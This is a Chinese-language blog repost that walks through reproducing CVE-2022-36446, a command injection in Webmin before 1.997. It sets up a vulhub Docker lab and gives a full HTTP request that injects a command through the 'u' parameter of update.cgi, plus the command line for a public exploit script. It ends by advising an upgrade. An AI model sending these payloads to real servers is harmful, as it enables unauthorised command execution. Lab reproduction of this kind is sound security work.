CVE-2022-36446 Webmin命令注入漏洞复现

admin 2022年9月23日13:46:31评论522 views字数 1303阅读4分20秒阅读模式
漏洞简介
CVE-2022-36446 Webmin命令注入漏洞复现
Webmin是功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。在版本1.997之前的Webmin中存在一个任意命令注入漏洞,触发该漏洞需登录Webmin。
影响范围
CVE-2022-36446 Webmin命令注入漏洞复现
WebMin版本小于1.997
环境搭建
CVE-2022-36446 Webmin命令注入漏洞复现

可通过vulhub搭建漏洞环境

执行命令git clone https://github.com/vulhub/vulhub

将vulhub下载到本地

CVE-2022-36446 Webmin命令注入漏洞复现

进入vulhub/webmin/CVE-2019-15107目录,CVE-2019-15107漏洞环境也可用作CVE-2022-36446

CVE-2022-36446 Webmin命令注入漏洞复现

执行命令

docker-compose up -d启动漏洞环境

CVE-2022-36446 Webmin命令注入漏洞复现

待漏洞环境启动后

执行

docker-compose ps查看漏洞环境映射端口

CVE-2022-36446 Webmin命令注入漏洞复现

访问https://ip:10000,出现以下界面代表环境部署成功

CVE-2022-36446 Webmin命令注入漏洞复现

接下来需进入漏洞环境容器修改webmin密码

执行命令

docker ps

查看漏洞环境容器id

CVE-2022-36446 Webmin命令注入漏洞复现

执行命令

docker exec -it ccbc3fcb60b6 /bin/bash

进入docker容器内部

CVE-2022-36446 Webmin命令注入漏洞复现

之后进入docker容器的/usr/share/webmin/目录下

CVE-2022-36446 Webmin命令注入漏洞复现

执行命令

./changepass.pl /etc/webmin root root

将root密码设置为root

CVE-2022-36446 Webmin命令注入漏洞复现

设置完成后即可以root/root登录https://ip:10000/

CVE-2022-36446 Webmin命令注入漏洞复现

漏洞复现
CVE-2022-36446 Webmin命令注入漏洞复现

待环境搭建完成后,构造以下数据包

POST /package-updates/update.cgi HTTP/1.1Host: 192.168.111.4:10000User-Agent: python-requests/2.26.0Accept-Encoding: gzip, deflateAccept: */*Connection: keep-aliveReferer: http://192.168.111.4:10000/package-updates/update.cgi?xnavigation=1Cookie: sid=cf8d4ac639a655a0d37a1c9bd8698f85Content-Length: 75Content-Type: application/x-www-form-urlencodedmode=new&search=ssh&redir=&redirdesc=&u=0%3Bcmd%3B&confirm=Install%2BNow

即可进行漏洞利用

CVE-2022-36446 Webmin命令注入漏洞复现

也可通过漏洞利用脚本https://github.com/p0dalirius/CVE-2022-36446-Webmin-Software-Package-Updates-RCE进行漏洞利用,将漏洞李永军脚本下载到本地后,执行命令

python CVE-2022-36446.py -t https://ip:10000/ -u root -p root -k -I

即可进行漏洞利用

CVE-2022-36446 Webmin命令注入漏洞复现

漏洞修复
CVE-2022-36446 Webmin命令注入漏洞复现

可从官网https://webmin.com/下载版本大于等于1.997版本的Webmin。

CVE-2022-36446 Webmin命令注入漏洞复现


CVE-2022-36446 Webmin命令注入漏洞复现

原文始发于微信公众号(第59号):CVE-2022-36446 Webmin命令注入漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月23日13:46:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-36446 Webmin命令注入漏洞复现http://cn-sec.com/archives/1312716.html

发表评论

匿名网友 填写信息